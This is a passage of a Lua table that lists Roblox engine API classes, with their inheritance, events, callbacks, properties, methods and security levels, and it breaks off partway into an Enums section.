 Inherits = &quot;BodyMover&quot;,
 Events = {
 },
 ClassName = &quot;BodyThrust&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;force&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;location&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Methods = {
 }
 },
 FlagStandService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;FlagStandService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Status = {
 Inherits = &quot;Model&quot;,
 Events = {
 },
 ClassName = &quot;Status&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notCreatable = true,
 Methods = {
 }
 },
 RotateV = {
 Inherits = &quot;DynamicRotate&quot;,
 Events = {
 },
 ClassName = &quot;RotateV&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 ServerReplicator = {
 Inherits = &quot;NetworkReplicator&quot;,
 Events = {
 {
 Name = &quot;TicketProcessed&quot;,
 Arguments = {
 {
 Name = &quot;userId&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;isAuthenticated&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;protocolVersion&quot;,
 Type = &quot;int&quot;
 }
 }
 }
 },
 ClassName = &quot;ServerReplicator&quot;,
 Callbacks = {
 {
 ReturnType = &quot;FilterResult&quot;,
 Arguments = {
 {
 Name = &quot;deletingItem&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;DeleteFilter&quot;,
 RobloxPlaceSecurity = true
 },
 {
 ReturnType = &quot;FilterResult&quot;,
 Arguments = {
 {
 Name = &quot;firingItem&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;event&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;EventFilter&quot;,
 RobloxPlaceSecurity = true
 },
 {
 ReturnType = &quot;FilterResult&quot;,
 Arguments = {
 {
 Name = &quot;newItem&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;parent&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;NewFilter&quot;,
 RobloxPlaceSecurity = true
 },
 {
 ReturnType = &quot;FilterResult&quot;,
 Arguments = {
 {
 Name = &quot;changingItem&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;member&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;value&quot;,
 Type = &quot;Variant&quot;
 }
 },
 Name = &quot;PropertyFilter&quot;,
 RobloxPlaceSecurity = true
 }
 },
 Properties = {
 },
 notCreatable = true,
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;PreventTerrainChanges&quot;,
 RobloxPlaceSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;SetBasicFilteringEnabled&quot;,
 RobloxPlaceSecurity = true
 }
 }
 },
 CoreScript = {
 Inherits = &quot;BaseScript&quot;,
 Events = {
 },
 ClassName = &quot;CoreScript&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notCreatable = true,
 Methods = {
 }
 },
 CylinderMesh = {
 Inherits = &quot;BevelMesh&quot;,
 Events = {
 },
 ClassName = &quot;CylinderMesh&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 FlagStand = {
 Inherits = &quot;Part&quot;,
 Events = {
 {
 Name = &quot;FlagCaptured&quot;,
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 }
 }
 }
 },
 ClassName = &quot;FlagStand&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;TeamColor&quot;,
 Type = &quot;BrickColor&quot;
 }
 },
 Methods = {
 }
 },
 Dragger = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Dragger&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Type = &quot;Axis&quot;,
 Name = &quot;axis&quot;,
 DefaultValue = &quot;X&quot;
 }
 },
 Name = &quot;AxisRotate&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;mousePart&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;pointOnMousePart&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;parts&quot;,
 Type = &quot;Objects&quot;
 }
 },
 Name = &quot;MouseDown&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;mouseRay&quot;,
 Type = &quot;Ray&quot;
 }
 },
 Name = &quot;MouseMove&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;MouseUp&quot;
 }
 }
 },
 ContentFilter = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;ContentFilter&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;outstandingRequests&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;cacheSize&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;SetFilterLimits&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetFilterUrl&quot;,
 LocalUserSecurity = true
 }
 }
 },
 Weld = {
 Inherits = &quot;JointInstance&quot;,
 Events = {
 },
 ClassName = &quot;Weld&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Shirt = {
 Inherits = &quot;Clothing&quot;,
 Events = {
 },
 ClassName = &quot;Shirt&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;ShirtTemplate&quot;,
 Type = &quot;Content&quot;
 }
 },
 Methods = {
 }
 },
 BoolValue = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Changed&quot;,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;bool&quot;
 }
 }
 },
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;changed&quot;
 }
 },
 ClassName = &quot;BoolValue&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Value&quot;,
 Type = &quot;bool&quot;
 }
 },
 Methods = {
 }
 },
 TextService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;TextService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notCreatable = true,
 Methods = {
 }
 },
 ServiceProvider = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Close&quot;,
 Arguments = {
 }
 },
 {
 Arguments = {
 },
 Name = &quot;CloseLate&quot;,
 LocalUserSecurity = true
 },
 {
 Name = &quot;ServiceAdded&quot;,
 Arguments = {
 {
 Name = &quot;service&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;ServiceRemoving&quot;,
 Arguments = {
 {
 Name = &quot;service&quot;,
 Type = &quot;Instance&quot;
 }
 }
 }
 },
 ClassName = &quot;ServiceProvider&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notbrowsable = true,
 Methods = {
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;className&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;FindService&quot;
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;className&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;GetService&quot;
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;className&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;getService&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;className&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;service&quot;,
 deprecated = true
 }
 }
 },
 StarterScript = {
 Inherits = &quot;CoreScript&quot;,
 Events = {
 },
 ClassName = &quot;StarterScript&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notCreatable = true,
 Methods = {
 }
 },
 Explosion = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Hit&quot;,
 Arguments = {
 {
 Name = &quot;part&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;distance&quot;,
 Type = &quot;float&quot;
 }
 }
 }
 },
 ClassName = &quot;Explosion&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;BlastPressure&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;BlastRadius&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;ExplosionType&quot;,
 Type = &quot;ExplosionType&quot;
 },
 {
 Name = &quot;Position&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Methods = {
 }
 },
 ChangeHistoryService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;ChangeHistoryService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;Tuple&quot;,
 Arguments = {
 },
 Name = &quot;GetCanRedo&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Tuple&quot;,
 Arguments = {
 },
 Name = &quot;GetCanUndo&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Redo&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;ResetWaypoints&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;state&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;SetEnabled&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;name&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetWaypoint&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Undo&quot;,
 LocalUserSecurity = true
 }
 }
 },
 ClickDetector = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;MouseClick&quot;,
 Arguments = {
 {
 Name = &quot;playerWhoClicked&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;MouseHoverEnter&quot;,
 Arguments = {
 {
 Name = &quot;playerWhoHovered&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;MouseHoverLeave&quot;,
 Arguments = {
 {
 Name = &quot;playerWhoHovered&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;playerWhoClicked&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;mouseClick&quot;
 }
 },
 ClassName = &quot;ClickDetector&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;MaxActivationDistance&quot;,
 Type = &quot;float&quot;
 }
 },
 Methods = {
 }
 },
 BlockMesh = {
 Inherits = &quot;BevelMesh&quot;,
 Events = {
 },
 ClassName = &quot;BlockMesh&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Instance = {
 Events = {
 {
 Name = &quot;AncestryChanged&quot;,
 Arguments = {
 {
 Name = &quot;child&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;parent&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;Changed&quot;,
 Arguments = {
 {
 Name = &quot;property&quot;,
 Type = &quot;Property&quot;
 }
 }
 },
 {
 Name = &quot;ChildAdded&quot;,
 Arguments = {
 {
 Name = &quot;child&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;ChildRemoved&quot;,
 Arguments = {
 {
 Name = &quot;child&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;DescendantAdded&quot;,
 Arguments = {
 {
 Name = &quot;descendant&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;DescendantRemoving&quot;,
 Arguments = {
 {
 Name = &quot;descendant&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;child&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;childAdded&quot;
 }
 },
 ClassName = &quot;Instance&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Archivable&quot;,
 Type = &quot;bool&quot;
 },
 {
 Type = &quot;string&quot;,
 Name = &quot;ClassName&quot;,
 readonly = true
 },
 {
 RobloxPlaceSecurity = true,
 Type = &quot;int&quot;,
 Name = &quot;DataCost&quot;,
 readonly = true
 },
 {
 Name = &quot;Name&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;Parent&quot;,
 Type = &quot;Object&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;RobloxLocked&quot;,
 LocalUserSecurity = true
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;archivable&quot;,
 hidden = true
 },
 {
 deprecated = true,
 Type = &quot;string&quot;,
 Name = &quot;className&quot;,
 readonly = true
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;ClearAllChildren&quot;
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 },
 Name = &quot;Clone&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Destroy&quot;
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;name&quot;,
 Type = &quot;string&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;recursive&quot;,
 DefaultValue = &quot;false&quot;
 }
 },
 Name = &quot;FindFirstChild&quot;
 },
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 },
 Name = &quot;GetChildren&quot;
 },
 {
 notbrowsable = true,
 Arguments = {
 {
 Type = &quot;int&quot;,
 Name = &quot;scopeLength&quot;,
 DefaultValue = &quot;4&quot;
 }
 },
 Name = &quot;GetDebugId&quot;,
 LocalUserSecurity = true,
 ReturnType = &quot;string&quot;
 },
 {
 ReturnType = &quot;string&quot;,
 Arguments = {
 },
 Name = &quot;GetFullName&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;className&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;IsA&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;descendant&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;IsAncestorOf&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;ancestor&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;IsDescendantOf&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Remove&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 },
 Name = &quot;children&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 },
 Name = &quot;clone&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;destroy&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;name&quot;,
 Type = &quot;string&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;recursive&quot;,
 DefaultValue = &quot;false&quot;
 }
 },
 Name = &quot;findFirstChild&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 },
 Name = &quot;getChildren&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;className&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;isA&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;ancestor&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;isDescendantOf&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;remove&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;childName&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;WaitForChild&quot;
 }
 }
 },
 Hopper = {
 Inherits = &quot;GuiItem&quot;,
 Events = {
 },
 ClassName = &quot;Hopper&quot;,
 Callbacks = {
 },
 Properties = {
 },
 deprecated = true,
 Methods = {
 }
 },
 BackpackItem = {
 Inherits = &quot;GuiItem&quot;,
 Events = {
 },
 ClassName = &quot;BackpackItem&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;TextureId&quot;,
 Type = &quot;Content&quot;
 }
 },
 Methods = {
 }
 },
 NetworkServer = {
 Inherits = &quot;NetworkPeer&quot;,
 Events = {
 {
 Arguments = {
 {
 Name = &quot;peer&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;result&quot;,
 Type = &quot;FilterResult&quot;
 },
 {
 Name = &quot;instance&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;member&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;DataBasicFiltered&quot;,
 LocalUserSecurity = true
 },
 {
 Arguments = {
 {
 Name = &quot;peer&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;result&quot;,
 Type = &quot;FilterResult&quot;
 },
 {
 Name = &quot;instance&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;member&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;DataCustomFiltered&quot;,
 LocalUserSecurity = true
 },
 {
 Arguments = {
 {
 Name = &quot;peer&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;replicator&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;IncommingConnection&quot;,
 RobloxScriptSecurity = true
 }
 },
 ClassName = &quot;NetworkServer&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;int&quot;,
 Name = &quot;Port&quot;,
 readonly = true
 }
 },
 notCreatable = true,
 Methods = {
 {
 ReturnType = &quot;int&quot;,
 Arguments = {
 },
 Name = &quot;GetClientCount&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;SetIsPlayerAuthenticationRequired&quot;,
 RobloxSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Type = &quot;int&quot;,
 Name = &quot;port&quot;,
 DefaultValue = &quot;0&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;threadSleepTime&quot;,
 DefaultValue = &quot;20&quot;
 }
 },
 Name = &quot;Start&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Type = &quot;int&quot;,
 Name = &quot;blockDuration&quot;,
 DefaultValue = &quot;1000&quot;
 }
 },
 Name = &quot;Stop&quot;,
 LocalUserSecurity = true
 }
 }
 },
 Decal = {
 Inherits = &quot;FaceInstance&quot;,
 Events = {
 },
 ClassName = &quot;Decal&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Shiny&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;Specular&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;Texture&quot;,
 Type = &quot;Content&quot;
 },
 {
 Name = &quot;Transparency&quot;,
 Type = &quot;float&quot;
 }
 },
 Methods = {
 }
 },
 LocalScript = {
 Inherits = &quot;Script&quot;,
 Events = {
 },
 ClassName = &quot;LocalScript&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 DebugSettings = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;DebugSettings&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;int&quot;,
 Name = &quot;AltCdnFailureCount&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;AltCdnSuccessCount&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;AvailablePhysicalMemory&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;BlockMeshSize&quot;,
 readonly = true
 },
 {
 Type = &quot;string&quot;,
 Name = &quot;CPU&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;CdnFailureCount&quot;,
 readonly = true
 },
 {
 Type = &quot;double&quot;,
 Name = &quot;CdnResponceTime&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;CdnSuccessCount&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;CpuCount&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;CpuSpeed&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;DataModel&quot;,
 readonly = true
 },
 {
 Type = &quot;double&quot;,
 Name = &quot;ElapsedTime&quot;,
 readonly = true
 },
 {
 Name = &quot;EnforceInstanceCountLimit&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;ErrorReporting&quot;,
 Type = &quot;ErrorReporting&quot;
 },
 {
 Type = &quot;string&quot;,
 Name = &quot;GfxCard&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;InstanceCount&quot;,
 readonly = true
 },
 {
 Name = &quot;InstanceCountLimit&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;IsFmodProfilingEnabled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;IsProfilingEnabled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;IsScriptStackTracingEnabled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;JobCount&quot;,
 readonly = true
 },
 {
 Type = &quot;double&quot;,
 Name = &quot;LastCdnFailureTimeSpan&quot;,
 readonly = true
 },
 {
 Name = &quot;LuaRamLimit&quot;,
 Type = &quot;int&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;NameDatabaseBytes&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;NameDatabaseSize&quot;,
 readonly = true
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;OsIs64Bit&quot;,
 readonly = true
 },
 {
 Type = &quot;string&quot;,
 Name = &quot;OsPlatform&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;OsPlatformId&quot;,
 readonly = true
 },
 {
 Type = &quot;string&quot;,
 Name = &quot;OsVer&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;PageFaultsPerSecond&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;PageFileBytes&quot;,
 readonly = true
 },
 {
 Type = &quot;float&quot;,
 Name = &quot;PixelShaderModel&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;PlayerCount&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;PrivateBytes&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;PrivateWorkingSetBytes&quot;,
 readonly = true
 },
 {
 Type = &quot;double&quot;,
 Name = &quot;ProcessCores&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;ProcessorTime&quot;,
 readonly = true
 },
 {
 Name = &quot;ProfilingWindow&quot;,
 Type = &quot;double&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;RAM&quot;,
 readonly = true
 },
 {
 Name = &quot;ReportExtendedMachineConfiguration&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;ReportSoundWarnings&quot;,
 Type = &quot;bool&quot;
 },
 {
 Type = &quot;string&quot;,
 Name = &quot;Resolution&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;RobloxFailureCount&quot;,
 readonly = true
 },
 {
 Type = &quot;string&quot;,
 Name = &quot;RobloxProductName&quot;,
 readonly = true
 },
 {
 Type = &quot;double&quot;,
 Name = &quot;RobloxRespoceTime&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;RobloxSuccessCount&quot;,
 readonly = true
 },
 {
 Type = &quot;string&quot;,
 Name = &quot;RobloxVersion&quot;,
 readonly = true
 },
 {
 Type = &quot;string&quot;,
 Name = &quot;SIMD&quot;,
 readonly = true
 },
 {
 Type = &quot;string&quot;,
 Name = &quot;SystemProductName&quot;,
 readonly = true
 },
 {
 Name = &quot;TickCountPreciseOverride&quot;,
 Type = &quot;TickCountSampleMethod&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;TotalPhysicalMemory&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;TotalProcessorTime&quot;,
 readonly = true
 },
 {
 Type = &quot;float&quot;,
 Name = &quot;VertexShaderModel&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;VideoMemory&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;VirtualBytes&quot;,
 readonly = true
 }
 },
 notbrowsable = true,
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;LegacyScriptMode&quot;,
 deprecated = true,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Tuple&quot;,
 Arguments = {
 },
 Name = &quot;ResetCdnFailureCounts&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;SetBlockingRemove&quot;,
 LocalUserSecurity = true
 }
 }
 },
 ContextActionService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;LocalToolEquipped&quot;,
 Arguments = {
 {
 Name = &quot;toolEquipped&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;LocalToolUnequipped&quot;,
 Arguments = {
 {
 Name = &quot;toolUnequipped&quot;,
 Type = &quot;Instance&quot;
 }
 }
 }
 },
 ClassName = &quot;ContextActionService&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;ContextButtonEnabled&quot;,
 Type = &quot;bool&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;ActivateLocalTool&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;DeactivateLocalTool&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;string&quot;,
 Arguments = {
 },
 Name = &quot;GetCurrentLocalToolIcon&quot;
 }
 }
 },
 Scale9Frame = {
 Inherits = &quot;GuiObject&quot;,
 Events = {
 },
 ClassName = &quot;Scale9Frame&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;ScaleEdgeSize&quot;,
 Type = &quot;Vector2int16&quot;
 },
 {
 Name = &quot;SlicePrefix&quot;,
 Type = &quot;string&quot;
 }
 },
 Methods = {
 }
 },
 Rotate = {
 Inherits = &quot;JointInstance&quot;,
 Events = {
 },
 ClassName = &quot;Rotate&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 NotificationObject = {
 Inherits = &quot;Frame&quot;,
 Events = {
 },
 ClassName = &quot;NotificationObject&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notbrowsable = true,
 Methods = {
 }
 },
 Keyframe = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Keyframe&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Time&quot;,
 Type = &quot;float&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;pose&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;AddPose&quot;
 },
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 },
 Name = &quot;GetPoses&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;pose&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;RemovePose&quot;
 }
 }
 }
}
-----------
-- ENUMS --
-----------
-- Contains all the enum data (The name, and its ID). Perhaps not as useful, but it exists
-- for your enjoyment, and was included in the API format.

lib.Enums = {
 GearType = {
 Name = &quot;GearType&quot;,
 EnumItems = {
 &quot;RangedWeapons&quot;,
 &quot;Explosives&quot;,
 &quot;PowerUps&quot;,
 &quot;NavigationEnhancers&quot;,
 &quot;MusicalInstruments&quot;,
 &quot;SocialItems&quot;,
 &quot;BuildingTools&quot;,
 &quot;Transport&quot;,
 [0] = &quot;MeleeWeapons&quot;
 }
 },
 RuntimeUndoBehavior = {
 Name = &quot;RuntimeUndoBehavior&quot;,
 EnumItems = {
 &quot;Snapshot&quot;,
 &quot;Hybrid&quot;,
 [0] = &quot;Aggregate&quot;
 }
 },
 EnviromentalPhysicsThrottle = {
 Name = &quot;EnviromentalPhysicsThrottle&quot;,
 EnumItems = {
 &quot;Disabled&quot;,
